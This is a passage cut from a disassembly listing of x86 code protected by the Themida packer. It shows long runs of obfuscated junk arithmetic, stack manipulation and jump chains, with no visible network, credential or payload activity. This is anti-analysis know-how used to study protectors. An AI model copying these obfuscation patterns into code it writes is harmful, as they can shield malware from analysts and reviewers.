		mov	eax, [esp]
		jmp	loc_5A006B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5932F7


loc_59ED01:				; CODE XREF: sub_5932F7-1B1Bj
		mov	ebx, 0F9CBFC6Dh
		add	ebp, 61935E13h
		add	ebp, ebx
		sub	ebp, 61935E13h
		pop	ebx
		jmp	loc_5A035E
; END OF FUNCTION CHUNK	FOR sub_5932F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_59ED1A:				; CODE XREF: sub_59A75E+12E6j
		mov	si, 522Eh
		push	di
		mov	di, 3882h
		jmp	loc_5943DE
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0060


loc_59ED29:				; CODE XREF: sub_5A0060+1156j
		add	edx, edi
		pop	edi
		push	ebx
		mov	ebx, 2
		sub	edx, 46B557A6h
		add	edx, 32076E9h
		add	edx, 0EF14FB4h
		sub	edx, ebx
		sub	edx, 0EF14FB4h
		push	eax
		mov	eax, 32076E9h
		sub	edx, eax
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		jmp	loc_594AA6
; END OF FUNCTION CHUNK	FOR sub_5A0060
; ---------------------------------------------------------------------------


loc_59ED6A:				; CODE XREF: Themida_:00591080j
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		add	edi, ebp
		pop	ebp
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 6BED3636h
		sub	ebp, 24DE2B61h
		jmp	loc_59FA85
; ---------------------------------------------------------------------------


loc_59ED89:				; CODE XREF: Themida_:00597E37j
		sub	al, 34h
		add	al, 0
		sub	al, bl
		sub	al, 0
		add	al, 34h
		jmp	loc_5A3CE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59ED98:				; CODE XREF: sub_59390B+78AEj
		add	ebp, eax
		sub	ebp, 156C5426h
		jmp	loc_5A5446
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59EDA5:				; CODE XREF: Themida_:00597F7Dj
		or	ecx, 8B56E88h
		jmp	loc_59ABE1
; ---------------------------------------------------------------------------


loc_59EDB0:				; CODE XREF: Themida_:005A0948j
		pop	esp
		push	eax
		mov	eax, 4
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_5A0EB0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597198


loc_59EDCD:				; CODE XREF: sub_597198-1F06j
		xor	esi, 0AA356000h
		or	[edi+1Ch], esi
		pop	esi
		jmp	loc_593268
; END OF FUNCTION CHUNK	FOR sub_597198
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_59A49D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59EDE4:				; CODE XREF: sub_59390B+7B99j
		and	eax, esi
		jmp	loc_59814B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59EDEB:				; CODE XREF: Themida_:005A18EDj
		add	edx, eax
		push	dword ptr [esp]
		jmp	loc_5A1693
; ---------------------------------------------------------------------------


loc_59EDF5:				; CODE XREF: Themida_:00590BB0j
		push	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		push	edx
		mov	edx, esp
		jmp	loc_5A5315
; ---------------------------------------------------------------------------


loc_59EE05:				; CODE XREF: Themida_:005A4138j
		mov	[esp], ebx
		mov	ebx, 4
		sub	esi, ebx
		jmp	loc_595A36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A085D


loc_59EE14:				; CODE XREF: sub_5A085D-A373j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ecx
		mov	ecx, 33942D17h
		xor	ecx, 33942D13h
		add	edi, 3C6705E3h
		add	edi, ecx
		sub	edi, 3C6705E3h
		mov	ecx, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_599670
; END OF FUNCTION CHUNK	FOR sub_5A085D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A113A


loc_59EE47:				; CODE XREF: sub_5A113A-1677j
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_5A113A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59EE4C:				; CODE XREF: sub_59390B+7FEj
		pop	esp
		pop	[esp+14h+var_14]
		mov	edx, [esp+10h+var_10]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5996D3
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59EE65:				; CODE XREF: Themida_:0059D7D8j
		mov	esi, esp
		jmp	loc_5946A1
; ---------------------------------------------------------------------------


loc_59EE6C:				; CODE XREF: Themida_:005927D5j
		push	eax
		mov	eax, 10F261A7h
		add	eax, 683DDA5h
		or	esi, eax
		pop	eax
		jmp	loc_593D9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59EE7F:				; CODE XREF: sub_59390B-1936j
		push	small 6BDCh
		mov	word ptr [esp-12h+arg_8+2], dx
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 69034F3Ah
		inc	ecx
		add	ecx, 96FCB0C9h
		add	ebx, ecx
		jmp	loc_59443F
; ---------------------------------------------------------------------------


loc_59EE9E:				; CODE XREF: sub_59390B+934j
		add	edx, 1FE84E49h
		pop	eax
		inc	edx
		push	3B5Dh
		jmp	loc_598957
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59EEB0:				; CODE XREF: Themida_:005A1830j
		xchg	eax, edi
		dec	edi
		shl	edi, 2
		sub	edi, 90AA16Ch
		inc	edi
		and	edi, 373953A3h
		and	edi, 58F67B10h
		jmp	loc_5913A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59EECD:				; CODE XREF: sub_59390B+DFB5j
		add	edi, 4FFC2667h
		dec	edi
		shl	edi, 6
		add	edi, 9AC8F268h
		sub	eax, edi
		pop	edi
		add	esi, eax
		mov	eax, [esp+0Ch+var_C]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_5A50B3
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59EEF2:				; CODE XREF: Themida_:0059F41Bj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_599F63
; ---------------------------------------------------------------------------


loc_59EF01:				; CODE XREF: Themida_:00596411j
		inc	eax
		sub	eax, 0F7A95E6Fh
		mov	esi, eax
		jmp	loc_5A58EC
; ---------------------------------------------------------------------------


loc_59EF0E:				; CODE XREF: Themida_:0059EC91j
		push	ebp
		mov	ebp, esp
		jmp	loc_59157D
; ---------------------------------------------------------------------------


loc_59EF16:				; CODE XREF: Themida_:005A343Dj
		sub	ebx, edi
		pop	edi
		push	ebx
		add	dword ptr [esp], 4E100F11h
		pop	edi
		sub	edi, 4E100F11h
		jmp	loc_597E73
; ---------------------------------------------------------------------------


loc_59EF2D:				; CODE XREF: Themida_:0059EA3Bj
		mov	ebp, 45CB145Bh
		xor	ebp, 2192243h
		push	ebp
		jmp	loc_5A03EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59EF3E:				; CODE XREF: sub_59390B+8AFEj
		add	esp, 4
		sub	edi, 4
		jmp	loc_5969E2
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59EF4C:				; CODE XREF: Themida_:005A2293j
		mov	[esp], ebp
		mov	ebp, 4
		add	[esp+4], ebp
		jmp	loc_5A4155
; ---------------------------------------------------------------------------


loc_59EF5D:				; CODE XREF: Themida_:005A3882j
		push	ecx
		mov	ecx, 64E0083Bh
		sub	ecx, 0A73309A0h
		xor	ebp, ecx
		pop	ecx
		sub	edx, 38F97ED1h
		jmp	loc_59DA77
; ---------------------------------------------------------------------------


loc_59EF77:				; CODE XREF: Themida_:0059C0C8j
		xor	edx, 718C07A9h
		or	edx, 59C463BDh
		jmp	loc_59FECB
; ---------------------------------------------------------------------------


loc_59EF88:				; CODE XREF: Themida_:00597CC0j
		add	esp, 2
		sub	al, cl
		push	edx
		mov	dh, 0C4h
		jmp	loc_59E704
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2FE9


loc_59EF98:				; CODE XREF: sub_5A2FE9-9B8Aj
		pop	edi
		add	edx, ebp
		mov	ebp, [esp+1Ch+var_1C]
		jmp	loc_591898
; END OF FUNCTION CHUNK	FOR sub_5A2FE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59EFA3:				; CODE XREF: sub_59390B+B904j
		pop	ebx
		add	al, 9Eh
		sub	al, cl
		sub	al, 9Eh
		jmp	loc_59A466
; ---------------------------------------------------------------------------


loc_59EFAF:				; CODE XREF: sub_59390B+A01Ej
		add	esp, 4
		push	ecx
		mov	ecx, 28C834CEh
		add	edx, ecx
		pop	ecx
		jmp	loc_598EC7
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59EFC3:				; CODE XREF: Themida_:005A0E98j
		mov	edi, 49C014D5h
		sub	eax, 49117951h
		sub	eax, edi
		add	eax, 49117951h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5959E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590AC5


loc_59EFE0:				; CODE XREF: sub_590AC5+5FC6j
		pop	edi
		jmp	loc_5A0DF9
; END OF FUNCTION CHUNK	FOR sub_590AC5
; ---------------------------------------------------------------------------


loc_59EFE6:				; CODE XREF: Themida_:005997A1j
		sub	dword ptr [esp], 3CC7028Bh
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 540B1A96h
		neg	edi
		add	edi, 90D21D21h
		add	esi, edi
		jmp	loc_59A221
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2552


loc_59F00B:				; CODE XREF: sub_5A2552+3488j
		mov	eax, esp
		jmp	loc_59D390
; END OF FUNCTION CHUNK	FOR sub_5A2552
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_59F012:				; CODE XREF: sub_59A431-8F7Bj
		pop	edi
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_59AE1A
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------


loc_59F02E:				; CODE XREF: Themida_:005A3A17j
		shr	eax, 8
		neg	eax
		sub	eax, 0FDFFADECh
		jmp	loc_59D3C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C8A4


loc_59F03D:				; CODE XREF: sub_59C8A4+1j
		mov	ebx, 5EFC402Ch
		sub	ebx, 767443A7h
		push	eax
		mov	eax, 5D5126Ch
		not	eax
		and	eax, 481A3CE1h
		jmp	loc_5912AA
; END OF FUNCTION CHUNK	FOR sub_59C8A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59F05A:				; CODE XREF: sub_59390B-2809j
		sub	ebp, esi
		mov	esi, [esp+4+var_4]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_59F268
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F401


loc_59F06C:				; CODE XREF: sub_59F401-874j
		mov	edx, 344A0555h
		add	[esp+8], edx
		pop	edx
		jmp	loc_59FE9F
; END OF FUNCTION CHUNK	FOR sub_59F401
; ---------------------------------------------------------------------------


loc_59F07B:				; CODE XREF: Themida_:0059B068j
		push	eax
		jmp	loc_5A3FEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59654E


loc_59F081:				; CODE XREF: sub_59654E-453Dj
		shr	esi, 3
		sub	esi, 4A9B4645h
		xor	esi, 0F8A54F2Eh
		add	ecx, esi
		pop	esi
		mov	edx, [esp+0]
		push	edi
		mov	edi, esp
		jmp	loc_596BDC
; END OF FUNCTION CHUNK	FOR sub_59654E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EA40


loc_59F09E:				; CODE XREF: sub_59EA40+1j
		push	[esp+18h+var_14]
		pop	ebx
		pop	dword ptr [esp+0]
		mov	esp, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_592DCB
; END OF FUNCTION CHUNK	FOR sub_59EA40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59F0B4:				; CODE XREF: sub_59390B+117EEj
		sub	ebx, 26C31072h
		jmp	loc_5970AF
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590AC5


loc_59F0BF:				; CODE XREF: sub_590AC5+10F01j
		and	edx, 295D5613h
		shl	edx, 3
		sub	edx, 427FFFFCh
		mov	ecx, edx
		pop	edx
		sub	eax, ecx
		pop	ecx
		jmp	loc_593816
; END OF FUNCTION CHUNK	FOR sub_590AC5
; ---------------------------------------------------------------------------


loc_59F0D9:				; CODE XREF: Themida_:00595115j
		push	eax
		push	7FBFh
		mov	[esp], ebp
		jmp	loc_597DAF
; ---------------------------------------------------------------------------


loc_59F0E7:				; CODE XREF: Themida_:005988ACj
		mov	eax, edi
		mov	edi, [esp]
		push	ebp
		jmp	loc_5A4269
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	3514h
		mov	[esp], edx
		push	ebp
		push	46ED310Ah
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_596CB4

; =============== S U B	R O U T	I N E =======================================



sub_59F121	proc near		; CODE XREF: sub_59390B+D544j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005945DA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00594CBE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A367B SIZE 00000049 BYTES

		push	ebx
		mov	ebx, 32011047h
		jmp	loc_5945DA
sub_59F121	endp

; ---------------------------------------------------------------------------


loc_59F12C:				; CODE XREF: Themida_:005A0668j
		add	esi, 257D00A3h
		shr	esi, 4
		not	esi
		push	7D87h
		mov	[esp], eax
		push	ebp
		mov	ebp, 79CD1090h
		mov	eax, ebp
		pop	ebp
		shr	eax, 4
		xor	eax, 0E77A2E5h
		add	esi, eax
		pop	eax
		sub	esp, 4
		jmp	loc_5931FE
; ---------------------------------------------------------------------------


loc_59F15E:				; CODE XREF: Themida_:0059AF15j
		push	35EEh
		jmp	loc_596E6E
; ---------------------------------------------------------------------------


loc_59F168:				; CODE XREF: Themida_:005A56FBj
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_598BDD
; ---------------------------------------------------------------------------


loc_59F176:				; CODE XREF: Themida_:0059864Aj
		shr	eax, 1
		jmp	loc_59C759
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_59F17D:				; CODE XREF: sub_591FC5+D39Cj
		sub	ah, 57h
		jmp	loc_590E9C
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------


loc_59F185:				; CODE XREF: Themida_:00591BE7j
		mov	ecx, 604E395Bh
		mov	edx, 19BF0388h
		xor	edx, ecx
		pop	ecx
		jmp	loc_5A20E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59F197:				; CODE XREF: sub_59390B+14ECj
		mov	[esp+8+var_8], eax
		push	esi
		jmp	loc_5A2D4E
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59F1A0:				; CODE XREF: Themida_:005A3A70j
		push	edi
		mov	edi, 0B8252Eh
		not	edi
		sub	edi, 1
		not	edi
		xor	edi, 49E044C9h
		xor	edi, 57B4477Fh
		push	edx
		mov	edx, 6BBE0950h
		neg	edx
		not	edx
		jmp	loc_5A1448
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17BF


loc_59F1CB:				; CODE XREF: sub_5A17BF-DEDBj
		mov	[esp+10h+var_10], edx
		mov	edx, 37DA083Dh
		or	edx, 439446A4h
		sub	edx, 0FFFFFFFFh
		jmp	loc_5A1E38
; END OF FUNCTION CHUNK	FOR sub_5A17BF
; ---------------------------------------------------------------------------


loc_59F1E1:				; CODE XREF: Themida_:005A5B80j
		mov	edx, 4A720F40h
		jmp	loc_5972BE
; ---------------------------------------------------------------------------


loc_59F1EB:				; CODE XREF: Themida_:0059C01Ej
		sub	ebx, 153B7BDAh
		pop	esi
		sub	esp, 4
		jmp	loc_598DB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59F1FD:				; CODE XREF: sub_59390B+E916j
		mov	word ptr [esp+0Ch+var_C], cx
		mov	cl, 1Fh
		add	bl, cl
		pop	cx
		sub	cl, 81h
		sub	cl, bl
		add	cl, 81h
		jmp	loc_59EFA3
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59F214:				; CODE XREF: Themida_:005A3AD7j
		mov	ebp, 59BE3114h
		add	edx, ebp
		pop	ebp
		push	edi
		mov	edi, 3F4E3A50h
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	4470h
		mov	[esp], ebp
		push	5093h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_59F90C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59F268:				; CODE XREF: sub_59390B+B75Cj
		add	eax, 4
		xchg	eax, [esp+8+var_8]
		jmp	loc_5925EE
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598762


loc_59F273:				; CODE XREF: sub_598762+6C5Ej
		push	esi
		push	ebp
		mov	ebp, 293C7A2Ch
		jmp	sub_59BDD3
; END OF FUNCTION CHUNK	FOR sub_598762
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598DC3


loc_59F27F:				; CODE XREF: sub_598DC3-26C5j
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		jmp	loc_5A1B32
; END OF FUNCTION CHUNK	FOR sub_598DC3
; ---------------------------------------------------------------------------


loc_59F28A:				; CODE XREF: Themida_:005A3967j
		mov	eax, 393B0CE2h
		jmp	loc_5A23A0

; =============== S U B	R O U T	I N E =======================================



sub_59F294	proc near		; CODE XREF: sub_5933BB+11E41j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00591FBC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059E076 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A087B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A1B15 SIZE 0000000E BYTES

		push	ebx
		mov	ebx, 0
		add	ebx, 389E521Bh
		add	ebx, ecx
		sub	ebx, 389E521Bh
		push	ecx
		mov	ecx, 0
		add	ecx, ebx
		mov	eax, [ecx]
		pop	ecx
		pop	ebx
		push	dword ptr [esp+0]
		mov	ecx, [esp+4+var_4]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	[esp+0Ch+var_8]
		pop	ebx
		pop	[esp+0Ch+var_C]
		mov	esp, [esp+8+var_8]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		mov	eax, [esp-8+arg_4]
		push	edi
		push	esp
		mov	edi, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_591FBC
sub_59F294	endp


; =============== S U B	R O U T	I N E =======================================



sub_59F2FC	proc near		; DATA XREF: Themida_:00590A0Co

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00592844 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059A334 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0059AC9F SIZE 00000014 BYTES

		mov	ax, [esp+0]
		push	5BD6h
		jmp	loc_59AC9F
sub_59F2FC	endp

; ---------------------------------------------------------------------------


loc_59F30A:				; CODE XREF: Themida_:00596D90j
		mov	dl, 20h
		or	dl, 0DEh
		push	437Ch
		mov	[esp], eax
		mov	ah, dl
		jmp	loc_59E5B0
; ---------------------------------------------------------------------------


loc_59F31E:				; CODE XREF: Themida_:00595360j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 434409F8h
		mov	ecx, 483857F8h
		jmp	loc_5A5180
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59F334:				; CODE XREF: sub_59390B+4C18j
		sub	edx, 70EC596Ah
		xchg	edx, ecx
		pop	edx
		add	ecx, 37B674FCh
		jmp	loc_594E45
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_59F348:				; CODE XREF: sub_59A431+9j
		or	ebp, 1D3B6E77h
		jmp	loc_59A8AC
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_59F353:				; CODE XREF: sub_591FC5+8A31j
		inc	ch
		push	eax
		mov	ah, 0C8h
		add	ah, 27h
		xor	ah, 46h
		shr	ah, 8
		jmp	loc_59F17D
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_59F366:				; CODE XREF: sub_59CAFB-3AE7j
		mov	[esp+0], ebx
		push	eax
		push	55AB1BDAh
		pop	eax
		jmp	loc_5A0F4B
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E93C


loc_59F375:				; CODE XREF: sub_59E93C+12j
		add	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		pop	esp
		push	edx
		push	11921031h
		pop	edx
		or	ebp, edx
		pop	edx
		inc	ebp
		xor	ebp, 367F1DFBh
		jmp	loc_592570
; END OF FUNCTION CHUNK	FOR sub_59E93C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5947CA


loc_59F395:				; CODE XREF: sub_5947CA+1Bj
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 537A4DA3h
		sub	edi, 0FFFFFFFFh
		push	eax
		mov	eax, 0D367A2h
		jmp	loc_5914D6
; END OF FUNCTION CHUNK	FOR sub_5947CA
; ---------------------------------------------------------------------------


loc_59F3B5:				; CODE XREF: Themida_:0059281Fj
		push	esp
		jmp	loc_59CCD0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598762


loc_59F3BB:				; CODE XREF: sub_598762+3A2Aj
		mov	[esp+0], ecx
		mov	ecx, esp
		jmp	loc_59F273
; END OF FUNCTION CHUNK	FOR sub_598762
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59F3C5:				; CODE XREF: sub_59390B+814Aj
		xor	[esp+0], ecx
		jmp	loc_5A1237
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59F3CD:				; CODE XREF: Themida_:005922BDj
		push	ebx
		mov	bl, ch
		mov	dl, bl
		mov	ebx, [esp]
		add	esp, 4
		pop	ecx
		add	dl, 1
		jmp	loc_5991F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59F3E4:				; CODE XREF: sub_59390B-2355j
		mov	esi, edx
		jmp	loc_593C81
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_59F3EB:				; CODE XREF: sub_5A51EA+5j
		pop	ebx
		push	ecx
		mov	cl, 0E6h
		jmp	loc_5A1785
; END OF FUNCTION CHUNK	FOR sub_5A51EA
; ---------------------------------------------------------------------------


loc_59F3F4:				; CODE XREF: Themida_:005A49EAj
		add	ecx, 0B9781177h
		mov	eax, ecx
		jmp	loc_5A09E6

; =============== S U B	R O U T	I N E =======================================



sub_59F401	proc near		; CODE XREF: sub_5969DC-5360j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00599CA4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059EB87 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059F06C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059FE9F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A047B SIZE 00000009 BYTES

		push	ebx
		mov	ebx, 344A0555h
		jmp	loc_5A047B
sub_59F401	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599F38


loc_59F40C:				; CODE XREF: sub_599F38+B896j
		push	[esp+10h+var_10]
		pop	ebp
		add	esp, 4
		push	edx
		jmp	loc_5988E7
; END OF FUNCTION CHUNK	FOR sub_599F38
; ---------------------------------------------------------------------------


loc_59F419:				; CODE XREF: Themida_:00595ADDj
		sub	ebp, edx
		jmp	loc_59EEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59F420:				; CODE XREF: sub_59390B+1E05j
		add	esp, 4
		add	esi, 4
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		jmp	loc_59F619
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59F436:				; CODE XREF: Themida_:0059AD57j
		mov	edx, [esp]
		sub	esp, 4
		jmp	loc_59E473
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59F444:				; CODE XREF: sub_59390B-195Ej
		pop	ebx
		jmp	loc_5942E7
; ---------------------------------------------------------------------------


loc_59F44A:				; CODE XREF: sub_59390B+371j
		mov	ax, word ptr [esp-12h+arg_8+2]
		jmp	loc_59E014
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B06D


loc_59F453:				; CODE XREF: sub_59B06D+1j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp-4+arg_0], edx
		push	esp
		pop	edx
		push	eax
		mov	eax, 721907C8h
		add	eax, 8DE6F83Ch
		add	edx, eax
		pop	eax
		push	ecx
		mov	ecx, 640536F4h
		xor	ecx, 5CD9037Bh
		not	ecx
		xor	ecx, 31CF74BBh
		sub	ecx, 0F6ECBEC7h
		add	edx, 0A962689h
		sub	edx, ecx
		jmp	sub_593879
; END OF FUNCTION CHUNK	FOR sub_59B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_59F49E:				; CODE XREF: sub_5936EC+71ABj
		push	eax
		mov	eax, 6BD9655Eh
		or	eax, 71144E61h
		not	eax
		xor	eax, 3BEE0F1Dh
		add	eax, 5D90DEDBh
		xor	ecx, eax
		pop	eax
		xor	ecx, 0B589BCBCh
		jmp	loc_5A2D00
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	esi
		push	esp
		pop	esi
		sub	esp, 4
		jmp	loc_59DD82

; =============== S U B	R O U T	I N E =======================================



sub_59F4D4	proc near		; CODE XREF: sub_59390B+120FEj

; FUNCTION CHUNK AT 005A0EC5 SIZE 00000006 BYTES

		push	ebx
		mov	ebx, 201A0D77h
		jmp	loc_5A0EC5
sub_59F4D4	endp

; ---------------------------------------------------------------------------


loc_59F4DF:				; CODE XREF: Themida_:0059716Fj
		mov	[esp], esp
		jmp	loc_597C45

; =============== S U B	R O U T	I N E =======================================



sub_59F4E7	proc near		; CODE XREF: sub_5A4CF8-E49Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00591D7A SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00591E81 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005955FA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00598B2A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005999B2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059B481 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059EA6C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A0B1D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A1205 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A35E3 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A3D94 SIZE 00000026 BYTES

		push	ebp
		mov	ebp, 1E1F2407h
		and	ebp, 285522B5h
